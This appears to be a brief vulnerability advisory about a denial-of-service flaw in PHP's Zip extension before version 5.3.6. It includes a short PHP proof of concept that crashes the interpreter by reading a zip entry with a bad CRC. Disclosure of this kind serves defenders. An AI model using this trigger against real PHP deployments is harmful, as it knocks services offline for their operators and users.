PHP is prone to a remote denial-of-service vulnerability that affects the 'Zip' extension.
Successful attacks will cause the application to crash, creating a denial-of-service condition. Due to the nature of this issue, arbitrary code-execution may be possible; however, this has not been confirmed.
Versions prior to PHP 5.3.6 are vulnerable.<?php
$o = new ZipArchive();if(! $o->open('test.zip',ZipArchive::CHECKCONS)){
exit ('error can\'t open');}
$o->getStream('file2');// this fileis ok
echo "OK";
$r = $o->getStream('file1');// this file has a wrong crc
while(! feof($r)){
fread($r,1024);}
echo "never here\n";
?>
